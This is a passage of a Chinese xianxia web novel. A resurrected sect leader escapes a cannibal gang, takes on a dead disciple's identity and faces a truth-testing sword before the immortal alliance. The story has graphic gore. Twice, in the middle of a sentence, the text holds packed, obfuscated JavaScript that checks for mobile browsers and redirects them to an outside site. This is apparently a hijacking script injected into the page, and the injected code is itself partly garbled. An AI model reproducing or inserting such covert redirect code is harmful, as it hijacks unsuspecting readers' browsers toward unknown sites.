《宗主深谙训狗之道》 1. 锅中女人 夜色沉如死水,葬灵山尸骸遍野。 一口石锅架在柴堆上。 锅里,坐着一个女人。 意识回笼的瞬间,韩纪察觉周身被温水包裹,鼻腔里充斥着一股八角炖猪蹄的香味。发觉自己身处锅中,她竟有一些不知所措。 她,寒山宗宗主,神谕剑主,前世以身殉道,镇压魔主之前也曾短暂设想过自己的复活场景。 或是仙门大典万众膜拜,或是冰棺坐起吓破宵小。无论哪种都是惊天泣地,震撼世人,可她无论如何也想不到自己会被放在一口炖锅里。 “莫非这是哪个仙门最新研究的还阳术?” 韩纪念头刚起,便察觉四肢百骸被无形禁制锁住,动弹不得。 恰在此时,脚步声由远及近,几道粗嘎的声音在寂静的山林响起。 “老大,真撞大运了!仙门和妖族为了韩纪那婆娘的尸首狗咬狗抢了一百年,倒叫咱们捡了便宜!” “多亏了妖宗挖坟炼尸,兄弟们才有这福气!”另一人语气谄媚而疑惑,“不过你说这韩纪这么一个道心不端、私德败坏的人物,尸首盗就盗了,这仙门干什么不惜代价也要把她的尸首抢回来?老大,您见多识广,和兄弟几个说说呗?” 浑厚粗犷的笑声响起,老大慢慢道:“你们可知如今仙门之中最有势力的人是谁?” 他顿了顿,却没有等待旁人答话,而是自顾自地接下去:“仙盟叶岱渊。这也正是韩纪苦恋一生,爱而不得的男人。” 韩纪坐在锅里,锅里的水温热,她脑子里的水轰的一下炸开。 叶岱渊这个人。 她不认识。 锅外,也响起一片兴奋的鬼叫声。 “大哥继续说,继续说,我爱听。” 老大续道:“当年,韩纪对叶岱渊因爱生恨,故而坠魔,试图复生魔主,若非叶岱渊及时赶到,哪里还有我们的命在。韩纪最后为了保护叶岱渊慷慨赴死,叶岱渊力排众议,收韩纪尸身于仙盟无垢台中,让她得有香火供奉。” 韩纪本来还觉得自己在锅中复活是一件很稀奇的事情,听到此处,竟也觉得稀松平常了。 毕竟,就算她没复活,光是听到这些鬼话,她就能被再气死一次。 锅外,开始传来劈柴的声音。 男人的声音绕着铁锅钻进韩纪耳朵里。 “至于妖宗为什么要挖坟炼尸,那全是韩纪恶贯满盈,自作自受。当今天下,人妖两族分庭抗礼,但是在一百年前,人族鼎盛之时,以寒山宗为首的四大仙门可是压得妖族喘不过气来。” “那时,韩纪仗着自己是寒山宗宗主,欺男霸女,无恶不作,抓了好多美貌的妖族少年上山,关在狗笼里,日夜凌辱。听说,而今的妖宗宗主便是其中之一。” “折辱之仇,岂能不报?妖宗必然要挖坟炼尸。但叶岱渊自然不能坐视不理,两方便争得你死我活。” 深夜里传来一阵又一阵“原来如此”的感叹。 若非韩纪体内禁制尚未解开,恐怕就连她自己都要点头惊叹自己和如今仙门妖宗两名响当当的人物的恩怨情仇了。 “好了,听也听够了。”老大咳嗽两声,适时道,“近来妖宗抓得紧,咱们许久没沾荤腥,赶紧生火,把这嫩丫头炖了加餐。” 话音未落,哗啦一声,湿柴被粗暴塞入锅底。 韩纪震惊。 合着她坐在锅里,是因为她要被……煮着吃了? 这能对吗? 火舌舔舐木柴,阵阵白烟升腾而起,锅底迅速升温。 韩纪一下子就接受了自己即将成为盘中餐的事实,抓紧调动灵力冲击禁制。 “这姑娘白白嫩嫩,肯定比那干柴似的韩纪好吃。”一个声音垂涎欲滴。 一人假惺惺地叹息道:“这姑娘也是倒霉,费了大力气才找到韩纪的尸首,没想到却是给咱们食人帮指了路。现下韩纪已经是我们的开胃菜了,再吃这个姑娘做夜宵,简直是人间美食!” “呆子。”老大驳斥,“吃了韩纪的肉,延年益寿,功力大增。待到我们将她消化了,神功大成,到时候天底下的俊男美女还不是应有尽有?你怎么拿这个黄毛丫头和她相比。” 韩纪一面抓紧调动身体中为数不多的灵力冲击禁制,一面仔细听着这些人的话。 听到此处,她已大致猜到了被他们吃的人是谁。 想来,是有仙门弟子前来寻尸,却被这群食人帮拦住,阴差阳错地被这群食人恶鬼当成是韩纪吃了。 若说方才听到这些人说的议论她功过是非的鬼话,韩纪只是觉得好笑。 现下,她是真想杀人。 “少废话了,我饿得不行了,老三你去把她脑袋割下来,我们烤脑花吃。” 火光一暗,带着腥风的阴影笼罩锅口。一双粗糙大手猛地揪住韩纪湿漉的长发,狠狠向后扯去。 冰冷的弯刀贴上脖颈,即刻就要削断韩纪的脖颈。 便在这千钧一发之际,韩纪终于冲破全身禁制。 只听得轰隆一声,寂静山林打过一道闷雷。 大汉身体一晃,就要倒地,一只惨白的手从黑暗中伸出,将他稳稳扶住。 “老三!磨蹭什么!兄弟几个等着下酒呢!”火堆旁有人不耐烦地催促。 被喊作老三的大汉却僵在原地动弹不得。 他眼睁睁看着锅里早已死去的女人睁开眼睛。 锋利的刀尖无声无息抵上他的心口。 韩纪偏头,眼神示意他回话。 老三喉结艰难滚动,豆大汗珠自额头滚落,颤声道:“我……刀、刀钝……这就来……” “快点!磨蹭个鸟!”火堆旁又一声怒喝,“别叫大哥等着急了!” 韩纪目光如冷电一般扫过围坐在火堆旁的五颗脑袋。 一个,两个……每数一颗,抵在老三喉结上的刀背便轻轻刮蹭一下。 冰冷而尖锐的触感叫他浑身剧颤,几乎腿软。 韩纪瞧着他恐惧的神情,唇角微勾,左手食指竖在唇边,无声地“嘘”了一下。 寒芒乍现。 一只带血的耳朵落在火堆中,火星飞溅,发出嗤嗤的灼烧之声,夜风中传来肉食的香气。 片刻后,一双手轻轻搭上了火堆边一个男人的肩膀。 那人回头瞥见老三腕间的牙齿手串,嘟囔道:“老三,你手咋这么冰?待会儿弄副心肝给你补补。” 对面的人却皱起眉:“你跟谁说话?” 男人后颈一凉,只觉遍地寒气都如长腿了一般往身上蹿。 他慢慢回头,壮着胆说:“老三,大晚上的你别乱开玩——” 只瞧了一眼,男人猛地从石块上翻落,踉踉跄跄地往外爬了几步,惊惧交加,面色煞白。 视野陡然开阔,众人回头看去,只见两只血淋淋的手臂此刻悬在空中,而死去的女人俏生生坐在铁锅锅沿上。 一行人登时吓得吱哇乱叫,屁滚尿流。 一个胡茬壮汉壮着胆子问道:“老……老三呢?你把老三怎么样了?!” 韩纪听出这胡茬壮汉正是方才几人口中的大哥,食人帮的老大,却恍若未闻,慢条斯理地从自己湿漉漉的发间摘下一颗花椒,一片香叶。 这无声的蔑视彻底激怒了胡茬壮汉。 他瞥了眼己方五个彪形大汉,再看对方不过单薄女子,料定她是趁老三不备偷袭,胜之不武,胆气陡壮,破口大骂:“臭娘们!把老三交出来,老子先砍你的脑袋给你个痛快!” “脑袋?”韩纪缓缓抬眼,月光恰好破开云层,清冷银辉洒落在她身上,恍若月下仙姝。 然而她下一句话,却让所有人如坠冰窟,“你说谁的?” 铁锅上蒸腾的热气被夜风吹开,一个不成样的人现出形来。 连着露出来的,还有一肚子的肠子脏腑。 “三弟!” 胡茬壮汉大喊一声,唤醒了昏死过去的汉子。 他眼皮动了动,露出已经被热气烫熟的眼睛,什么也瞧不见,只咿咿呀呀地痛苦地叫唤着。 韩纪轻轻挥手,他又扑通一声翻入沸腾的锅中,头颅沉浮数次,再无动静。 叫嚣的胡茬壮汉吓得呆在原地,其余四人则哆嗦着拔出兵刃。 “姑……仙姑!”胡茬壮汉须臾间便看清形势,噗通跪下,磕头如捣蒜,“小人有眼不识泰山,冒犯仙姑!求仙姑看在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15941767|177381||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们上有老下有小的份上,饶我们一条生路,日后我们一定当牛做马,焚香供奉!” 四个喽啰见状连忙跟着跪下磕头。 韩纪不理他的讨饶,目光扫过地上带血的衣物与骨头,冷声问道:“你们刚才,吃的到底是什么人?” 此言一出,五人面如土色,抖若筛糠。 胡茬壮汉膝行一步,抱住韩纪的腿,涕泪交流:“仙姑!小人本是泸州猎户,是被万法妖宗洛渭那魔头逼的。他……他抓了我全家十三口逼我给他抓童男童女炼化阴尸。我吃韩……韩宗主的肉,是想功力大增,杀了洛渭,为民除害啊!” 说话间,他顾不得擦去脸上泪水,回头对同伙嘶吼,“快!把韩宗主的头颅献给仙姑赎罪!” 一人连滚爬爬捧来一个渗血的黑色布包。 韩纪解开系带,一颗严丝合缝覆盖着寒山宗宗主面具的头颅映入眼帘。 她犹疑一瞬,伸手取下面具,望见一张沾满鲜血,死不瞑目的脸。 这张脸,和韩纪的脸长得很像,这也是她可以从韩纪脸上取下宗主面具李代桃僵的原因。 唯一不同的是,很年轻。 最多不过十七岁。 韩纪不敢去想一个十七岁的女孩是如何面对眼前这群吃人恶鬼的,更不敢想她在死前遭受了怎样的折磨。 她心神微震,试探道:“韩纪怎么说也是寒山宗宗主,纵使她声名再臭,寒山宗也不可能坐视不理。妖宗要把她炼成阴尸,寒山宗不管吗!” 胡茬壮汉面色苍白,满面汗水,却满脸堆笑道:“仙姑您别和小的开玩笑了,韩纪献祭了大半个宗门的弟子,她死了没两天,寒山宗就自相残杀,早就灭门了,连山门都关了,哪还有什么寒山宗宗主。” 韩纪捏着布包系带的手指倏然收紧,脊背瞬间绷直,脏腑难受得几乎无法喘息。 她本能想抓住他的脖颈,叫他休得胡言,可自她醒来,前世始终萦绕在识海深处,与寒山同源共生的微弱感应却不知所踪。 她只当是复生以来过于虚弱,却不曾想……不可能! 寒山纵是覆灭,也绝不可能是因自相残杀!一定是有人暗中捣鬼!她一定要查个清楚! 就在这分神刹那,脚踝骤然一紧。 韩纪垂眼看去,只见胡茬壮汉眼中凶光爆射,双臂肌肉虬结,嘶声咆哮:“动手!杀了这娘们!”其余四人瞬间暴起,刀剑寒光直劈韩纪面门。 韩纪手掌轻抬,四柄刀剑凭空折断。 四人也不受控制地悬浮在半空中,以极其怪异的姿势摊开手脚,像是没展开的大饼。 胡茬壮汉青筋爆起,面红耳赤,汗如雨下,可无论他如何用力,都无法搬动眼前女子的双脚一寸。 他双目一横,掏出手朝女子胸膛挖去,眼见女子毫无防备,他嘴角勾起狰狞的笑。 下一刻,他的手停在女子胸膛之前,再无法移动。 “穿膛破肚手?”韩纪慢慢地系好布袋,语声讥讽,“真是仙门之耻,这种下三滥的招式竟然还能有传人。” 见眼前的女子大言不惭地侮辱自己所学,胡茬壮汉怒啐道:“呸!哪里来的黄毛丫头不知天高地厚,我师父富山老祖杀你就如碾死蚂蚁那么简单。识相的就放了我,不然我师父一定不会放过你的!” “富山老祖?好威风。”韩纪垂眸,俯视他因恐惧而扭曲的脸,“在下不才,正是你口中道心不端、私德败坏的韩宗主。韩纪,韩无念。” 胡茬大汉强撑着的面皮塌陷下来,脸上最后一丝血色褪尽。 似是意识到了什么,他颤声哀求:“您别杀我……我也是被逼的!一切都是妖宗宗主指使我做的!……他……他神通广大,妖法无边,我效命于他也是无奈之举……” “您……您别杀我……我可以帮您做事!您……您刚刚复活还不知道他是谁吧,他叫洛渭!是只半妖!我知道他的弱点,我还可以告诉您他在哪里……我帮您杀他……您别杀我……” 夜里风忽起,浓云遮弯月。 韩纪慢慢道:“他的事情不劳你相助,我自己会去杀。至于你们——” 她语音拉长,微微一笑:“——不是爱吃肉么?吃个够吧。” 2. 假借身份 凄厉的惨嚎瞬间响彻山林,随后越来越弱。 五个大汉中了幻咒在林中互相撕咬,自相残杀。 韩纪面无表情地坐在一旁打坐调息,探查识海。 也在此时,她才惊觉原本广袤无垠、灿如星辰的识海晦暗无光,细细查看,只见识海深处浮现一道五行封印。 此封印精妙无比,以五行灵宝为介将她识海封印分隔开来。 若想解开封印,只有集齐五行灵宝,否则而今的她恐怕连个中等水平的仙门弟子都打不过。 更令她心惊的是,布下此封印之人,修为竟远在她之上。 “百年间,竟出了这等人物?”韩纪眉头紧锁,目光扫过地上奄奄一息的残躯。 如今寒山覆灭,她灵力被封,声名狼藉,孤立无援,想来是有人心存怨恨,故意为之。 若是贸然现身,她这个死而复生、臭名昭著、又无力自保的韩宗主只怕立刻会被当做阴尸,挫骨扬灰。 为今之计,只有暂掩身份,寻回五行灵宝,解开封印,恢复修为,方能查清寒山覆灭的真相,洗刷冤屈,报仇雪恨。 韩纪正准备动身寻找五行灵宝,却在此时,听见一丝微弱到几乎消散的悲鸣。 她抬眼望去,只见几缕稀薄如雾的残魄正从那些破碎的尸骸中溢出。 残魄无外力相助,瞬息即散,韩纪不欲理会,起身欲走,那团雾气却如有所感,认主般向她袭来。 一阵冰冷的气息窜上后颈,韩纪下意识地回头,残魄便如同一道绵密的刀锋般自她身躯的孔隙之中穿过,将她经脉之中的血液霎时冻住。 而她的眼睛也在刹那之间调转了方位,凝视着自己的身躯。 她瞧见狂风吹起湿润的落叶,名叫楚清妙的少女为了替师门扫清勾结妖族、盗取灵体的冤屈,千里迢迢追来葬灵山寻尸,却阴差阳错撞上了食人帮。 为了保护韩纪的尸首,楚清妙换上韩纪的衣裳与面具,将韩纪化作泥偶藏在树下,扮作韩纪逃离,却被食人帮追上,割下头颅,分食殆尽。 她的鲜血渗入土壤的刹那,黑风呼啸,天昏地暗,枯黄潮湿的落叶猛地掀开,露出那一尊沾满了泥土的小小泥像。 雨丝落在泥像之上变为血泪,血泪之下,泥像被冲刷出真正的血肉。 那正是韩纪的脸庞。 雾气四散开来,韩纪猛地吸过一口气,周身凝固的血液再次沸腾。 她大梦初醒地看着即将消散的楚清妙,心中渐渐拼凑出了一些始末。 楚清妙的血浸入地里,促使了韩纪还阳。 二人之间,必定有着非常紧密的联系。 她为她而死,无论如何,韩纪再不能袖手旁观。 “罢了。”韩纪强忍识海封印带来的撕裂痛楚,扯过腰间玉牌,调动所剩无几的灵力,指尖绽出微光,“你因我而死,我便替你聚拢残魂,解救同门,了却心愿。” 微光如网,艰难收拢着风中残烛般的魂丝。楚清妙残魂刚刚钻入玉中,寂静的山林中却忽然传来剑鸣之音。 人还未到,凌厉而纯正的浩然剑气便已落到林中。 施法聚魂之术不仅需要施法者修为高深,灵力雄厚,也需心无杂念,专心致志。 韩纪本就是强弩之末强行结阵,如今被这剑气一激,胸腹剧痛,红血喷出。 她虽抢在最后一刹将楚清妙的残魂收拢至玉牌之中,但却再也没有余力离开此地。 眼见着仙门弟子的身影越来越近,韩纪心乱如麻,目光在野地中逡巡,只为寻找一个暂时躲避之处。 毕竟,她若说自己是韩纪还魂,只怕人还没到仙门道盟就被那些记恨她的人炼了。 可如果,她说她是楚清妙—— 灵光一闪,韩纪目光落在坐在地上、深陷幻境、大快朵颐的胡茬壮汉身上。 他已经吃了他所有的兄弟,此刻正拔下自己的胡子塞入口中。 仙门弟子的身影落入不远处的密林中,说话声传了过来。 “卫朔师兄,不是说找韩宗主灵体吗?怎么到这深山老林里?” 一个温和的声音回答了她:“玉苍派两名弟子在此发现韩宗主灵体,遭遇食人帮。逍遥峰派人核查未归,天机示警恐有妖魔现世,叶长老这才又派我们探查。” 话声中,韩纪在满地血水中胡乱一滚,拎起黑色布袋套着的人头,快步走到胡茬壮汉身侧,将自己的手轻轻放在他鼻尖,低低引诱道:“你饿不饿?” “是不是很饿?” “咬一口,就不饿了。” 胡茬壮汉受了蛊惑,歪歪斜斜地站起身,朝她扑来。 便在此时,韩纪放声高叫:“救命啊!” “有没有人啊!” “你别过来!你就是杀了我,我也不会把韩宗主的头颅给你的!” 她话音未落,道道剑光便自密林中飞出。 嚓的一声脆响,剑光斩开遮目的荆棘灌丛。 枝叶乱飞,雨珠拂面。 卫朔脚步微停,抬眼望去,便见一名衣裳褴褛、满身血污的女子抱着一样圆咕隆咚的物事朝他奔来,被身后的男子揪住后颈,猛地往身侧火堆一掼。 “住手!”卫朔伸手欲接,却已救之不及。 这一切正是韩纪有意为之。 她如果要用楚清妙的身份行走于世,就须得把戏演足了。 一来,可以表明她为了保护韩宗主尸身不顾自身安危,帮助楚清妙的师门洗清勾结妖族盗取灵体的嫌疑。 二来,虽说她与楚清妙长得相似,但仙盟中难免有人会起疑心,火烧之痕却恰好可以帮助她暂时遮掩容貌。 哧啦一声,烧得火红的木炭断裂开,转瞬爆燃。 只一瞬间,韩纪浑身浴火,痛苦得满地打滚,逼得想上前搭救的付子英与卫朔连连后退。 眼见着戏做得差不多了,她便蓄力撞上歪斜的石锅支架。 石锅倾覆,滚烫油腻的污水瞬间浇灭了她身上火焰,她也顺理成章地佯装晕厥。 便在此时,她听见了一个女子的尖叫声。 “卫朔师兄救命!救命!” 那叫卫朔的少年本来准备查看韩纪的伤势,听见这声响,站起身来,道:“怎么了?” 少女狼奔猪突般奔至卫朔身后,一面干呕,一面道:“他……他少了一只眼睛!” “他……他在……他在吃他的眼睛!” 卫朔一听,当即把人掉转身来,借着微弱的火光,他瞧见男人脸上一个空洞洞的大洞,嘴中不断咀嚼着什么。 “他中了咒!”卫朔敏锐地察觉到男人的不对劲,“他是被逼的!众妙门的弟子最擅长符箓咒律之术,可否解开!” 便有一个众妙门的女弟子上前准备强行解开男人身上的咒法,可每每她伸手结印,那男子身上总是显出一道白光,将她周身灵力都逼推开去。 “难道这世间还有比众妙门弟子更精通咒律之人?”少女躲在卫朔身后疑道,“或者就是你们——” 卫朔当机立断地捂住少女嘴巴。 不死心的少女还是抑扬顿挫地把三个字众妙门哼了出来。 众妙门弟子见师门无故被辱,压着一口气再次伸手结印,一番努力之后,白色光芒如雾色散去,金色符文四散开来,化作点点火星。 正吃着自己眼睛吃得津津有味的男人猛地大呼一口气,一口血喷出,四肢抽搐,倒在一旁。 卫朔连忙扶住他,着急问道:“是何人将你害成这样?” 男人睁着脸上黑空空的洞,拼尽最后一丝力气撕扯着嗓子说话。 “是……是……哈……哈……” 韩纪躺在污水里装睡,听到男人的声音心瞬间凉了半截! 这胡茬壮汉在与食人帮其他人撕咬时受了重伤,神智混乱,她才想着借他之手取信于仙门弟子,却不料这厮最后关头恢复神智竟要将自己拖下水! 事已至此,她只好佯装疼痛难忍,哀声叫唤起来。 “救命……好疼啊……” “痛死我了……救命啊……” 她的声音盖住了男人的声音,众人听见她哭嚎得极为可怜,心生不忍,赶忙回头张望。 待到再看奄奄一息的男人时,他已气绝身亡。 无奈之下,众人只好从她身上获取线索,想上前搀扶她,却见她踉踉跄跄地起身,体态诡异,一时之间谨慎地站在原地。 韩纪见状佯装体力不支,轰然倒下,卫朔想也未想快步上前接住她的身躯。 “姑娘!” “姑娘!” 在他的连声呼唤之中,韩纪慢慢睁开眼睛。 她抬头看着卫朔,一滴清泪自眼眶中滑落,哀声哭诉:“这位师兄,我乃玉苍派弟子楚清妙,为洗刷师门冤屈,前往葬灵山寻找韩老宗主尸身,谁道撞见食人帮六名贼人意图将韩老宗主分食殆尽……他们分食之中起了冲突自相残杀……我拼尽全力也只保下韩老宗主头颅不为贼人侮辱……” 在场之人随之大惊失色,纷纷围拥上前。 韩纪颤抖着手将手中的黑色布包交与卫朔,话未说尽,两眼一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15941768|177381||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 翻,彻底晕厥了过去。 此后自然是灵丹妙药尽用,仙门弟子一路护送。 韩纪乐得自在躺了一晚上,佯装昏迷的过程中不仅受到了那名叫卫朔的仙门少年的悉心照拂,更是在卫朔与他那多嘴多舌的师妹交谈中得知了不少当今仙盟的重要信息。 当今仙门道盟明面上由不下四百家仙门组成,实际上却是由四大仙门逍遥峰、万剑山、明霞宫、众妙门控制。 而现任的仙盟盟主边鹤潇无门无派,上位之时是逍遥峰力排众议,帮其扫平障碍,因而相比仙门道盟的盟主,他反而更像是逍遥峰的傀儡。 当然,这其中对韩纪最关键的信息是,那个传说中让她爱而不得,走火入魔的叶岱渊正是而今逍遥峰的大长老,也是仙门道盟长老会的首席长老。 一夜护送,韩纪再睁眼就来到了仙门道盟。 仙门道盟庄严肃穆,群英殿上威压如山。 盟主边鹤潇高居主位,两侧是各大仙门长老、掌门,身后侍立着精英弟子。 韩纪在引路弟子指引下走入殿内,不卑不亢,一双眼睛飞快地在议事厅的长老脸上转了一圈,又抬头望向正中的仙盟盟主。 边鹤潇咳嗽一声,道:“便是你寻得韩宗主头颅?” 韩纪点头。 “放肆!”立时便有长老呵斥,“边盟主问话,竟敢不拜不答?当仙门道盟是什么地方!” “楚清妙年幼失礼,后续严加管教便是。”一个清冷女声打断呵斥,“当务之急,是请她详述昨夜之事。” 责备韩纪之人赶忙改口:“明长老说得是。” 明长老?韩纪抬眼看去,认出她是从前常常向她讨教剑招的万剑山小师妹,明琮一。 百年时光匆匆而逝,仙门亦抵不过时间摧残,长老会中只见新人面,不闻旧人声。 韩纪心中感慨万千,面上却不显,她隐去自己身份,将昨夜之事细细叙说了一次。 只不过,最后是韩纪的尸身被六人分食殆尽。 话音刚落,未待边鹤潇答话,阴影之中便有人便冷哼一声,质疑道:“六人皆死,仅你独活。你师门玉苍派本就有通妖之嫌,谁能证明不是你勾结妖人、分食韩纪以求长生?” 说话间,这人起身走下高台,斜眉冷笑,目光冷冽地注视着韩纪,随即又在各位掌门的面庞上扫过。 一时之间,群英殿内竟无一人言语。 韩纪眉头微蹙,意识到此人位置非同小可,但仔细端详这人面庞,却没有想起关于他的半点记忆。 “叶长老,晚辈明霞宫弟子卫扶光愿为楚师妹证明。”卫朔径直走至韩纪身侧,拜了一拜,正声道,“晚辈昨夜亲见狂徒欲害楚师妹,楚师妹拼死护住韩宗主遗骸!在场的众妙门、明霞宫弟子皆可为证。” 叶长老?叶岱渊!韩纪瞳孔微缩。 这就是谣传中她为之“赴死”的男人?! 韩纪偏头去瞧叶岱渊的脸色,不大好看。 叶岱渊面沉如水,厉声驳斥:“无知竖子!你如何证明她不是将计就计,假意作戏与你看?如何证明,那她未曾动韩纪尸身分毫?此事关系重大,岂容你等三言两语定论!” 殿中响起窃窃私语,多是对叶岱渊“重情重义”的感慨。 “韩纪虽然犯下诸多恶行,但对叶长老也算是痴心一片,如今尸身被毁,叶长老肯定想为她讨回公道……” “叶长老平日里看上去像是顽石一块,没想到还挺有情有义的……” 卫朔还想说些什么,却也找不见其他证据反驳,眉头紧皱,沉默着站在一旁,目光关切地落在韩纪身上。 叶岱渊沉声呵止道:“肃静!大殿之上,只论正事,不谈私情!” 韩纪心中冷笑连连。 痴恋?她连他名字都未曾听过,如何痴恋他? 她身上背负的滔天污名,他叶岱渊身为长老,若真对她有心,又怎会不替她辩白澄清? 不过是个沽名钓誉的伪君子罢了。 “那依叶长老之见,”韩纪蓦然抬头,目光直刺叶岱渊,“我该如何自证?莫非真要剖开肚腹,翻检一番,看我是否偷吃了韩纪的肉?” 殿内一片哗然。 叶岱渊脸皮青红交加,怒道:“狂妄!你以为本座不敢?便是剖开,本座也能保你不死!” 韩纪俯身作揖,作出一副任人宰割之相,“诸位长老,若真能洗刷我师门勾结妖族、偷盗灵体的冤屈,莫说是剖腹查验,便是要我这条命,清妙也绝无怨言。还请叶长老快快动手,还我师门一个清白。” 3. 妖市寻宝 这大义凛然的姿态,瞬间堵得叶岱渊哑口无言,更让殿内众人动容。 “叶长老息怒,小儿无知,口不择言,且姑恕罪。”边鹤潇适时开口,声如洪钟,目光如炬射向韩纪,“剖腹查验之语,有辱道盟清誉。念你护尸有功,若所言非虚,免去鞭笞之刑,奖赏折半分发。楚清妙,你可敢受检验?” 韩纪毫无惧色,朗声答道:“有何不敢。” 边鹤潇起身,居高临下地望着韩纪,面容隐在阴影之中,沉声道:“请鉴心剑。” 他的声音宛如古钟撞地,重重地敲在每一个人的心中,好似千军万马潮水般奔涌而来,顷刻间又奔腾远去。 所有人屏息凝神,韩纪面上平静实则心中也是警铃大作。 前世她从未听闻鉴心剑的名号,想来应当是她死后百年仙门新发现的神兵。 如今骑虎难下,也只能兵来将挡水来土掩。 不多时,一名弟子奉上玉碟,轻纱无风自动,露出一截黑水玄玉雕成的古朴剑柄,不见剑身。 边鹤潇微微抬手,鉴心剑柄化作流光射向韩纪。 刹那间,韩纪只觉无数瞧不清的针线在自己周身穿梭飞舞,一阵强烈的窒息感与剧痛自下腹蔓延开来。 来不及运功抵抗,她便单膝跪地,满头大汗。 再睁开眼,一头山岳般巨大的白色凶兽匍匐逼近,巨尾将她死死缠绕。 沉重如钟的诘问自四面八方传来。 “下立女子,你与万法妖宗有无勾结?” “绝无半分!”韩纪咬牙回答,窒息感稍退。 “你是否觊觎韩纪尸身?” 痛苦的窒息感再次传来,韩纪眉头紧皱,脸色惨白,豆大的汗珠自额头滑落:“不曾!” “最后一个问题——”另一个浑厚严厉的声音响起,如同九天惊雷,“你说你是玉苍派弟子楚清妙,是真是假?!” 心脏仿佛正被无数尖锐的银针刺破,韩纪的眼睛因剧烈的疼痛睁开。 而在她眼前,匍匐的巨兽睁大双眼,金色的瞳孔中泛起层层黑云,九天玄雷如同银蛇一般飞舞其中。 群英殿上,鉴心剑幻化的无形丝网已将韩纪悬吊半空,越收越紧。 一根丝线深深勒入她脖颈,鲜血汩汩涌出,顺着丝线流下,将那黑水玄玉的剑柄染得猩红刺目。 “凡说谎者,皆死于鉴心剑下,她死定了……”围观者中有人叹道。 自有一人骂道:“满口胡言,居心叵测,就该死!” 有人反驳:“独孤掌门,这弟子就算隐瞒了自己的身份,也是护尸有功,何至于死?” 便有另一人反驳:“人的名字,身份是一个人立在世间最有力的证明,一个人如果连名字都是假的,还有是什么是真的?她若不是楚清妙,那必定是心怀叵测的妖邪,那就该死。” 便在众人以为这女子将死在鉴心剑下,为此渐起争执之时,一道纤弱而坚韧的声音响起。 “真。” 勒紧的丝网骤然一松,韩纪自半空飘然落地,脖颈伤痕瞬间复原。 侥幸逃过一劫,她心有余悸,暗暗摸了摸怀中存有楚清妙魂魄的玉牌,知晓今日能过鉴心剑这一关全然是因为楚清妙残魂也在鉴心剑下。 “弟子已证清白。”微微平复心神后,她朝着边鹤潇躬身一揖,目光却转向脸色铁青的叶岱渊,正声道,“听闻我的师父与同门都被逍遥峰收押。而今我既验明正身,想必他们定能毫发无损地归来。叶长老,您说对吗?” 叶岱渊盯着她眼中的嘲弄之色,瞳孔骤缩,从牙缝里挤出四个字:“……那是自然。” 道盟大门外,韩纪掂了掂手中缩减的赏赐:一盒雷火珠,十颗夜明珠,一块咒石。 这就是她堂堂寒山宗宗主的身价? “看来不管什么东西死了都会降价。”韩纪暗暗腹诽,最后看了一眼仙门道盟的巍峨门庭,拿起楚清妙的青木杖,转身离去。 方走出几步,怀中的玉牌便剧烈地颤动起来。 韩纪停住脚步,轻拂玉牌,低声道:“我聚你残魂,解玉苍之危,已践前言。你魂魄孱弱,现身一次便近消散一步,好生待在玉牌中休养。待我寻齐五行灵宝,解开自身封印,自会送你回玉苍,见你师父最后一面。你又何必急在此时?” 玉牌震动,好似麻雀在人的掌心中扇动翅膀,叽叽喳喳地上下翻飞叫唤,片刻后归于宁静,显然听懂了韩纪的话。 韩纪先找了一个山洞调息打坐,利用在仙盟顺的丹药将身上伤势治好大半,才尝试借助识海内的五行封印凝神聚力感知着五行灵宝的方位。 五行灵宝,分为金魄珠、神木简、蕴魂泪、悬息壤、不死火,蕴有五方神力,千年以来,每每现世,总能引起人妖两族的一场血雨腥风。 后来,许是灵宝生智学会藏匿,其踪迹越来越难以探寻,这才稍稍平息了人妖两族之间的争端。 前世纵是战力巅峰的韩纪也感知不到五行灵宝的行踪,但如今她体内封印由五行灵宝为媒介设下,封印与五行灵宝之间存在灵力波动,虽不能帮助她精准确定五行灵宝的方位,但也能帮她大概判定五行灵宝所在范围。 “总算是一件好事。” 韩纪这样想着,脑海之中一条铺满月光的道路呈现出来,树木、草丛、乱石、碑林依次从她两侧飞速掠过,一棵腐朽的树木迅速抽枝散叶长成参天大树将她团团围住。 一颗闪烁着耀眼光芒的金珠便嵌在巨树之上。 乌云散尽,星野重现。 韩纪循着脑中幻象所示,踏入荆棘丛中,沿着金丝桃盛放的方向走去,不多时瞧见一株零星打着叶子的、半人高的小树。 正是春夏时节,山野之中万物复苏,郁郁葱葱,唯独这株小树即将枯萎。 小树之下,隐藏着一个精巧隐蔽的传送阵。 韩纪抽出青木杖,默念法诀轻轻敲击小树的树根处。 片刻后,小树浑身散发的莹绿色的光芒,无数茂密的枝叶如潮水一般冒出。 韩纪弯腰进入小树树底,再探出头时,已置身于一条诡异长街。 灯笼如惨白的虫卵悬在两侧,映照着奇形怪状的摊位。 兽骨、人皮、不知名的脏器……浓得化不开的血腥与腐臭味如同跗骨之蛆,钻进每一寸砖缝。 来往行人皆覆丑陋面具,如同百鬼夜行。 韩纪见状便也丢了几枚铜板拣了一张面具戴在脸上,方才缓缓向长街热闹处走去。 “姑娘。”一个猫脸面具小贩凑近,声音谄媚,“买肉妖补身?还是种妖解闷?” 他指向刚卸下马车的一排囚笼。 黑布掀开,露出里面瑟瑟发抖的身影。 有瘦骨嶙峋的幼童老者,也有戴着精巧面罩、衣衫相对整齐却锁链加身的少年男女。 